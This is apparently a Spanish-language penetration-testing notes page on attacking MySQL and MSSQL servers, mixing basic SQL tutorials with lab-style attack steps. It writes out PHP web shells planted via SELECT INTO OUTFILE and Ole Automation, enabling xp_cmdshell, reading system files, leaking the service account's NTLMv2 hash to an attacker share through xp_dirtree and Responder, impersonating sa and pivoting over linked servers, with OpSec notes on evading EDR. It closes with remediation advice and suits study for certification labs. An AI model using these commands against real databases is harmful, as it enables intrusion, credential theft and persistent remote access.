> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/sql.md).

# SQL

## Attacking SQL Databases

### Contexto General

* MySQL y MSSQL son RDBMS que almacenan datos en tablas, columnas y filas usando SQL como lenguaje de consulta.
* Son objetivos de alto valor: almacenan credenciales, PII, datos de negocio e información de pagos.
* Suelen configurarse con usuarios de altos privilegios → el acceso puede facilitar lateral movement y privilege escalation.

**Puertos por defecto:**

* MSSQL: TCP/1433, UDP/1434 (modo oculto: TCP/2433)
* MySQL: TCP/3306

### Enumeración

```bash
nmap -Pn -sV -sC -p1433 10.10.10.125
```

* `-Pn` — Desactiva host discovery
* `-sV` — Detección de versión de servicio
* `-sC` — Scripts por defecto (incluye `ms-sql-info`, `ms-sql-ntlm-info`, `ssl-cert`)
* `-p1433` — Puerto MSSQL

**Output esperado:** Versión del servidor (ej. `Microsoft SQL Server 2017 14.00.1000.00`), hostname, dominio NetBIOS/DNS — info clave para identificar misconfigs o CVEs aplicables.

### Mecanismos de Autenticación

* **Windows Authentication Mode (default):** Integración con Windows/Active Directory. Usuarios ya autenticados en Windows no necesitan credenciales adicionales en SQL Server.
* **Mixed Mode:** Soporta cuentas Windows/AD y también usuario/contraseña locales de SQL Server.
* **MySQL:** Soporta usuario/contraseña y Windows Authentication (mediante plugin).

#### CVE-2012-2122 — MySQL 5.6.x Authentication Bypass

> Vulnerabilidad de timing attack: el servidor MySQL tarda más en responder a una contraseña incorrecta que a una correcta. Al autenticarse repetidamente con la misma contraseña incorrecta, eventualmente el servidor responde como si fuera válida. Referencia: [CVE-2012-2122](https://nvd.nist.gov/vuln/detail/CVE-2012-2122)

### Misconfigurations Comunes

* Anonymous access habilitado
* Usuario configurado sin contraseña
* Cualquier usuario, grupo o máquina con acceso sin restricciones al SQL Server

### Privilegios Post-Acceso

Con acceso a una instancia SQL, dependiendo del nivel de privilegios, se puede:

* Leer/modificar contenido de bases de datos
* Leer/modificar la configuración del servidor
* Ejecutar comandos en el OS
* Leer archivos locales
* Comunicarse con otras bases de datos
* Capturar el hash del sistema local
* Impersonar usuarios existentes
* Acceder a otras redes

### Conexión a la Base de Datos

#### MySQL

```bash
mysql -u julio -pPassword123 -h 10.129.20.13
```

```bash
mysql -u root -h docker.hackthebox.eu -P 3306 -p'password'
```

Querys:

```
CREATE DATABASE users;
```

```
SHOW DATABASES;
```

```
USE users;
```

```
CREATE TABLE logins (
    id INT,
    username VARCHAR(100),
    password VARCHAR(100),
    date_of_joining DATETIME
    );
```

```sql
SHOW TABLES;
```

```sql
DESCRIBE logins;
```

```sql
CREATE TABLE logins (
    id INT NOT NULL AUTO_INCREMENT,
    username VARCHAR(100) UNIQUE NOT NULL,
    password VARCHAR(100) NOT NULL,
    date_of_joining DATETIME DEFAULT NOW(),
    PRIMARY KEY (id)
    );
```

#### INSERTAR

El `INSERT` se usa para agregar registros nuevos a una tabla. Sintaxis base:

```sql
INSERT INTO table_name VALUES (valor1, valor2, valor3, ...);
```

Así tienes que dar valores para **todas** las columnas de la tabla:

```sql
INSERT INTO logins VALUES(1, 'admin', 'p@ssw0rd', '2020-07-02');
```

**Insertar en columnas específicas**

Puedes omitir columnas con valores por defecto (como `id` o `date_of_joining`) especificando solo las columnas que quieres llenar:

```sql
INSERT INTO table_name(column2, column3, ...) VALUES (valor2, valor3, ...);
```

Ejemplo, saltándote `id` y `date_of_joining`

```sql
INSERT INTO logins(username, password) VALUES('administrator', 'adm1n_p@ss');
```

⚠️ Si te saltas una columna con la restricción `NOT NULL`, da error, porque ese valor es obligatorio.

**Insertar varios registros a la vez**

Separándolos con comas:

```sql
INSERT INTO logins(username, password) VALUES ('john', 'john123!'), ('tom', 'tom123!');
```

Esto inserta dos registros en una sola query.

Nota: los ejemplos guardan passwords en texto plano solo por demostración. En la práctica es mala idea — siempre deben ir hasheadas/encriptadas antes de almacenarse.

#### SELECT

El `SELECT` se usa para recuperar datos de las tablas (entre otros usos que verás más adelante). Para ver la tabla completa:

```sql
SELECT * FROM table_name;
```

El asterisco (`*`) es un comodín que selecciona **todas** las columnas, y `FROM` indica de qué tabla leer.

También puedes ver solo columnas específicas:

```sql
SELECT column1, column2 FROM table_name;
```

Esto trae únicamente los datos de `column1` y `column2`.

**Ejemplos**

Ver todos los registros de `logins`:

```sql
SELECT * FROM logins;
```

```
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
```

Seleccionar solo `username` y `password`, saltándote las otras dos columnas:

```sql
SELECT username, password FROM logins;
```

```
+---------------+------------+
| username      | password   |
+---------------+------------+
| admin         | p@ssw0rd   |
| administrator | adm1n_p@ss |
| john          | john123!   |
| tom           | tom123!    |
+---------------+------------+
```

La primera query muestra los cuatro registros completos; la segunda trae solo las columnas que le pides.

#### DROP

Se usa para eliminar tablas y bases de datos del servidor.

```sql
DROP TABLE logins;
```

Después de esto, al hacer `SHOW TABLES;` el resultado queda vacío — la tabla se eliminó por completo.

⚠️ El `DROP` borra la tabla de forma **permanente y total, sin pedir confirmación**, así que úsalo con cuidado.

#### ALTER

`ALTER` se usa para modificar una tabla existente: cambiar su nombre o el de sus campos, y agregar o eliminar columnas.

**Agregar una columna** con `ADD`:

```sql
ALTER TABLE logins ADD newColumn INT;
```

**Renombrar una columna** con `RENAME COLUMN`:

```sql
ALTER TABLE logins RENAME COLUMN newColumn TO newerColumn;
```

**Cambiar el tipo de dato** de una columna con `MODIFY`:

```sql
ALTER TABLE logins MODIFY newerColumn DATE;
```

**Eliminar una columna** con `DROP`:

```sql
ALTER TABLE logins DROP newerColumn;
```

Puedes usar cualquiera de estas operaciones sobre cualquier tabla existente, siempre que tengas los privilegios suficientes para hacerlo.

#### UPDATE

Mientras que `ALTER` cambia las propiedades de la tabla, `UPDATE` se usa para actualizar registros específicos dentro de una tabla según ciertas condiciones. Sintaxis general:

```sql
UPDATE table_name SET column1=nuevovalor1, column2=nuevovalor2, ... WHERE <condicion>;
```

Especificas la tabla, cada columna con su nuevo valor, y la condición que define qué registros se actualizan.

**Ejemplo** — cambiar el password en todos los registros con `id > 1`:

```sql
UPDATE logins SET password = 'change_password' WHERE id > 1;
```

Resultado: los registros con `id` 2, 3 y 4 quedan con el password actualizado, mientras que el `id` 1 se mantiene intacto.

```
+----+---------------+-----------------+---------------------+
| id | username      | password        | date_of_joining     |
+----+---------------+-----------------+---------------------+
|  1 | admin         | p@ssw0rd        | 2020-07-02 00:00:00 |
|  2 | administrator | change_password | 2020-07-02 11:30:50 |
|  3 | john          | change_password | 2020-07-02 11:47:16 |
|  4 | tom           | change_password | 2020-07-02 11:47:16 |
+----+---------------+-----------------+---------------------+
```

⚠️ Con `UPDATE` **siempre** debes especificar la cláusula `WHERE` para indicar qué registros se modifican. Si la omites, actualizarías todos los registros de la tabla. (La cláusula `WHERE` se ve a continuación.)

### MSSQL con sqlcmd (Windows)

```cmd
sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30
```

* `-S` — Nombre del servidor
* `-U` / `-P` — Usuario y contraseña
* `-y` / `-Y` — Ancho de columnas para output más legible (puede afectar rendimiento)

**Output esperado:** Prompt `1>`

***

#### MSSQL con sqsh (Linux)

```bash
sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h
```

* `-h` — Deshabilita headers/footers para output más limpio

**Output esperado:** Prompt `1>`

***

#### MSSQL con mssqlclient.py (Impacket)

```bash
mssqlclient.py -p 1433 julio@10.129.203.7
```

**Output esperado:** Prompt `SQL>` con información del servidor.

***

#### Windows Authentication con sqsh (cuenta local)

```bash
sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h
```

> **Nota:** Para especificar una cuenta local usar `SERVERNAME\\accountname` o `.\\accountname`. Si no se especifica dominio/hostname, sqsh asume SQL Authentication. Definir dominio/hostname activa Windows Authentication.

***

### SQL Syntax — Read / Change Database

#### Bases de Datos por Defecto

**MySQL (no contienen datos de empresa):**

* `mysql` — Información requerida por el servidor
* `information_schema` — Metadatos de la base de datos
* `performance_schema` — Monitoreo de ejecución del servidor
* `sys` — Objetos para DBAs y desarrolladores

**MSSQL (no contienen datos de empresa):**

* `master` — Info de la instancia SQL Server
* `msdb` — Usado por SQL Server Agent
* `model` — Template para nuevas DBs
* `resource` — DB de solo lectura con objetos del sistema
* `tempdb` — Objetos temporales

> **Nota:** Se obtendrá error al intentar listar o conectarse a una DB sin permisos.

***

#### Show Databases

```sql
-- MySQL
SHOW DATABASES;
```

```sql
-- MSSQL (sqlcmd requiere GO para ejecutar)
SELECT name FROM master.dbo.sysdatabases
GO
```

**Output esperado (MySQL):**

```
+--------------------+
| Database           |
+--------------------+
| information_schema |
| htbusers           |
+--------------------+
```

***

#### Select a Database

```sql
-- MySQL
USE htbusers;
```

```sql
-- MSSQL
USE htbusers
GO
```

***

#### Show Tables

```sql
-- MySQL
SHOW TABLES;
```

```sql
-- MSSQL
SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
GO
```

***

#### Dump Tabla de Usuarios

```sql
-- MySQL / MSSQL
SELECT * FROM users
GO
```

**Output esperado:**

```
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
...
```

***

### Ejecución de Comandos

#### xp\_cmdshell (MSSQL)

```sql
xp_cmdshell 'whoami'
GO
```

**Output esperado:** Nombre de la cuenta de servicio de SQL Server (ej. `no service\mssql$sqlexpress`).

***

#### Habilitar xp\_cmdshell (requiere admin)

```sql
EXECUTE sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXECUTE sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO
```

* `xp_cmdshell` está **deshabilitado por defecto**.
* El proceso Windows lanzado hereda los derechos de la cuenta de servicio de SQL Server.
* Opera de forma síncrona — el control no retorna hasta que el comando finaliza.
* Puede habilitarse con Policy-Based Management o con `sp_configure`.

**⚠️ OpSec: `xp_cmdshell` es ampliamente monitoreado por EDR/SIEM. Habilitarlo genera eventos de cambio de configuración y su uso crea procesos hijo visibles.**

**Alternativas para ejecución de comandos en MSSQL:**

* CLR Assemblies
* Extended Stored Procedures
* SQL Server Agent Jobs
* External Scripts
* `xp_regwrite` — para modificar el registro de Windows y escalar privilegios

***

#### MySQL — User Defined Functions (UDF)

* MySQL soporta UDFs en C/C++ para ejecutar código como función SQL.
* No es común en producción, pero puede encontrarse. Referencia: [GitHub - lib\_mysqludf\_sys](https://github.com/mysqludf/lib_mysqludf_sys)

***

### Escritura de Archivos Locales

#### MySQL — Web Shell via SELECT INTO OUTFILE

```sql
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
```

**Output esperado:** `Query OK, 1 row affected` → acceder a `http://target/webshell.php?c=whoami`.

**Prerequisitos:**

* Servidor web (ej. PHP) corriendo en el mismo host
* Variable `secure_file_priv` vacía o apuntando al directorio destino
* Usuario con privilegio `FILE`

**⚠️ OpSec: El archivo queda escrito en disco. Artefacto persistente detectable por AV/EDR y logs del web server.**

***

#### Verificar secure\_file\_priv (MySQL)

```sql
show variables like "secure_file_priv";
```

* `Value` **vacío** → sin restricciones (inseguro)
* Apunta a un **directorio** → solo se pueden escribir archivos en ese path
* `NULL` → escritura deshabilitada

***

#### MSSQL — Escritura de Archivos via Ole Automation

**Habilitar Ole Automation Procedures (requiere admin)**

```sql
sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
sp_configure 'Ole Automation Procedures', 1
GO
RECONFIGURE
GO
```

**Crear web shell**

```sql
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO
```

**⚠️ OpSec: Habilitar Ole Automation genera eventos de cambio de configuración auditables. El archivo en disco es un artefacto detectable por AV/EDR.**

***

### Lectura de Archivos Locales

#### MSSQL — OPENROWSET

```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
GO
```

**Output esperado:** Contenido del archivo `hosts`. Por defecto, MSSQL permite leer cualquier archivo al que la cuenta de servicio tenga acceso de lectura.

***

#### MySQL — LOAD\_FILE

```sql
select LOAD_FILE("/etc/passwd");
```

**Output esperado:** Contenido del archivo `passwd`.

Por defecto, MySQL **no** permite lectura arbitraria de archivos. Requiere `secure_file_priv` configurado correctamente y privilegio `FILE`.

***

### Captura del Hash del Servicio MSSQL

Usando los stored procedures no documentados `xp_dirtree` o `xp_subdirs`, el servidor MSSQL realiza una conexión SMB hacia un servidor controlado por el atacante, enviando el **NTLMv2 hash** de la cuenta de servicio. Primero levantar Responder o impacket-smbserver.

#### xp\_dirtree

```sql
EXEC master..xp_dirtree '\\10.10.110.17\share\'
GO
```

#### xp\_subdirs

```sql
EXEC master..xp_subdirs '\\10.10.110.17\share\'
GO
```

**Output esperado (servidor):** Subdirectorios vacíos o error de acceso denegado — el hash ya fue enviado independientemente.

***

#### Captura con Responder

```bash
sudo responder -I tun0
```

* `-I` — Interfaz de red a escuchar (ej. `tun0` para VPN)

**Output esperado:**

```
[SMB] NTLMv2-SSP Username : SRVMSSQL\demouser
[SMB] NTLMv2-SSP Hash     : demouser::WIN7BOX:5e3ab1c4380b94a1:A18830...
```

***

#### Captura con impacket-smbserver

```bash
sudo impacket-smbserver share ./ -smb2support
```

* `share` — Nombre del share SMB falso
* `./` — Directorio local a compartir
* `-smb2support` — Habilita soporte SMB2

**Output esperado:** Hash NTLMv2 de la cuenta de servicio MSSQL capturado en la conexión entrante.

**Post-explotación:** El hash puede crackearse offline (ej. con hashcat) o usarse en un relay attack.

***

### Impersonación de Usuarios (MSSQL)

> **Concepto:** El permiso `IMPERSONATE` permite que el usuario ejecutante tome los permisos de otro login hasta que el contexto se resetee o la sesión termine. Los sysadmins pueden impersonar a cualquiera por defecto; para usuarios no-admin el permiso debe asignarse explícitamente.

#### Identificar usuarios impersonables

```sql
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
GO
```

**Output esperado:** Lista de logins impersonables (ej. `sa`, `ben`, `valentin`).

***

#### Verificar usuario y rol actuales

```sql
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO
```

* `0` → No es sysadmin
* `1` → Es sysadmin

***

#### Impersonar usuario (ej. `sa`)

```sql
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO
```

**Output esperado:** `SYSTEM_USER = sa`, `IS_SRVROLEMEMBER = 1` → privilegios de sysadmin activos.

> **Nota:** Ejecutar `EXECUTE AS LOGIN` dentro de la DB `master`, ya que todos los usuarios tienen acceso a ella por defecto. Si el usuario a impersonar no tiene acceso a la DB actual, se producirá error → usar `USE master` primero.

***

#### Revertir impersonación

```sql
REVERT
```

> **Nota:** Si el usuario encontrado no es sysadmin, verificar si tiene acceso a otras DBs o linked servers para continuar la escalada.

***

### Comunicación con Otras Bases de Datos — Linked Servers (MSSQL)

> **Concepto:** Los Linked Servers permiten ejecutar queries Transact-SQL contra otra instancia SQL Server u otro DBMS (ej. Oracle). Si están configurados con credenciales de sysadmin en el servidor remoto, se puede ejecutar comandos en esa instancia.

#### Identificar Linked Servers

```sql
SELECT srvname, isremote FROM sysservers
GO
```

* `isremote = 1` → servidor remoto
* `isremote = 0` → linked server

**Output esperado:** Lista de servidores con nombre e indicador de tipo.

***

#### Ejecutar query en un Linked Server

```sql
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
GO
```

* Comando entre paréntesis, nombre del linked server entre corchetes `[ ]`
* Para escapar comillas simples dentro de la query, usar dobles comillas simples `''`
* Para múltiples comandos, separar con `;`

**Output esperado:** Nombre del servidor remoto, versión, usuario activo y si es sysadmin (ej. `sa_remote`, `1`).

**Post-explotación:** Con sysadmin en el linked server se puede leer cualquier DB o ejecutar comandos con `xp_cmdshell`.

***

### Remediación

* Deshabilitar `xp_cmdshell`, Ole Automation Procedures, `xp_dirtree` y `xp_subdirs` si no son necesarios en producción.
* Configurar `secure_file_priv` en MySQL a un directorio específico o `NULL`.
* Aplicar principio de menor privilegio a las cuentas de servicio de SQL Server.
* Usar Windows Authentication Mode exclusivamente y deshabilitar Mixed Mode si no es requerido.
* Auditar y restringir permisos `IMPERSONATE` en MSSQL.
* Revisar y limitar la configuración de Linked Servers, especialmente cuando usan credenciales de alto privilegio.
* Parchear instancias MySQL vulnerables a [CVE-2012-2122](https://nvd.nist.gov/vuln/detail/CVE-2012-2122).

## Latest SQL Vulnerabilities — Robo de NTLMv2 mediante xp\_dirtree

#### Resumen

* Esta técnica **no tiene CVE asignado y no requiere exploit directo**: aprovecha el mecanismo de autenticación nativo de SMB a través de la función no documentada de MSSQL `xp_dirtree`.
* El ataque es viable tanto en conexión directa al servidor MSSQL como mediante aplicaciones web vulnerables. En esta sección se cubre únicamente la variante directa.
* `xp_dirtree` lista el contenido de una carpeta (local o remota) y acepta parámetros de profundidad y ruta objetivo. Al apuntar a un share controlado por el atacante, el servidor MSSQL emite automáticamente un hash **NTLMv2** del usuario de servicio para autenticarse.
* El hash capturado habilita dos vectores:
  * **SMB Relay attack**: "repetir" el hash contra otro host donde la cuenta tenga privilegios de admin local.
  * **Cracking offline**: recuperar la contraseña en texto claro para reutilizarla.
* **Nota crítica**: Microsoft parcheó el relay de vuelta al host de origen. El relay debe apuntar a un host distinto. Cadena posible: relay → admin local en host B → robar credenciales → reutilizarlas en el host origen.

***

#### Aclaración de Conceptos

> **SMB Relay attack**: en lugar de crackear el hash NTLMv2, se reenvía en tiempo real a otro host de la red que acepte ese hash como autenticación válida, otorgando acceso sin necesidad de conocer la contraseña.

***

#### Flujo del Ataque

**Fase 1 — Iniciación via xp\_dirtree**

| Paso | Acción                                                                                  | Categoría   |
| ---- | --------------------------------------------------------------------------------------- | ----------- |
| 1    | El input del usuario especifica la función y la carpeta de red a consultar.             | Source      |
| 2    | El proceso lista el contenido de la carpeta especificada.                               | Process     |
| 3    | La ejecución requiere los privilegios elevados del usuario que corre el servicio MSSQL. | Privileges  |
| 4    | El servicio SMB es el destino al que se reenvía la petición.                            | Destination |

**Fase 2 — Robo del Hash**

| Paso | Acción                                                                                           | Categoría   |
| ---- | ------------------------------------------------------------------------------------------------ | ----------- |
| 5    | El servicio SMB recibe la orden generada por el proceso MSSQL anterior.                          | Source      |
| 6    | Los datos son procesados y se consulta el contenido de la carpeta objetivo.                      | Process     |
| 7    | El hash NTLMv2 del usuario de servicio MSSQL es emitido en la consulta de autenticación.         | Privileges  |
| 8    | El destino es el host controlado por el atacante y el share de red creado para capturar el hash. | Destination |

***

#### Aislamiento de Comandos

Invocar `xp_dirtree` apuntando a un share controlado por el atacante:

```sql
EXEC xp_dirtree '\\<ATTACKER_IP>\<share>', 1, 1
```

* `'\\<ATTACKER_IP>\<share>'` — UNC path al share del atacante; fuerza la autenticación SMB saliente del servidor MSSQL.
* `1` (segundo parámetro) — profundidad de búsqueda (depth).
* `1` (tercer parámetro) — incluir archivos en el listado (`1 = sí`).

Capturar el hash NTLMv2 entrante con Responder:

```bash
sudo responder -I <INTERFACE> -wv
```

* `-I` — interfaz de red en escucha.
* `-w` — habilita el servidor WPAD para ataques adicionales.
* `-v` — modo verbose; muestra los hashes capturados en tiempo real.

**OPSEC**: Responder genera tráfico SMB/LLMNR/NBT-NS notable en la red. Los intentos de autenticación fallida quedan registrados en el Event Log de Windows (Event ID 4625). Usar con precaución en entornos con SIEM o NDR activo.

Alternativa de captura pasiva si no se quiere levantar un listener activo:

```bash
sudo tcpdump -i <INTERFACE> -w capture.pcap port 445
```

***

#### Resultado y Troubleshooting

* **Output esperado**: Responder imprime en consola el hash NTLMv2 del usuario de servicio MSSQL en formato listo para crackear (ej. `MSSQL_SVC::DOMAIN:...`).
* El hash puede crackearse offline con `hashcat -m 5600` o `john --format=netntlmv2`.
* Si el cracking no es viable, intentar SMB Relay hacia otro host de la red con `ntlmrelayx.py`.
* Si el relay al host de origen falla (parcheado), encadenar: relay → admin local en host B → recolectar credenciales con Mimikatz o secretsdump → reutilizar en host origen.
* Existen otros métodos para ejecutar código en MSSQL, incluyendo Python embebido en queries SQL. Referencia: documentación oficial de Microsoft sobre Machine Learning Services en SQL Server.

***

#### Mitigación

* **Remediación**:
  * Deshabilitar `xp_dirtree` y otros extended stored procedures innecesarios (`xp_cmdshell`, `xp_fileexist`) con `sp_configure 'xp_dirtree', 0`.
  * Bloquear el tráfico SMB saliente (puerto 445) desde servidores MSSQL mediante reglas de firewall para impedir conexiones a hosts externos.
  * Configurar el servicio MSSQL con una cuenta de servicio de mínimo privilegio (sin derechos de admin local en otros hosts) para limitar el impacto de un relay exitoso.
  * Habilitar SMB Signing en todos los hosts de la red para anular los ataques de tipo SMB Relay.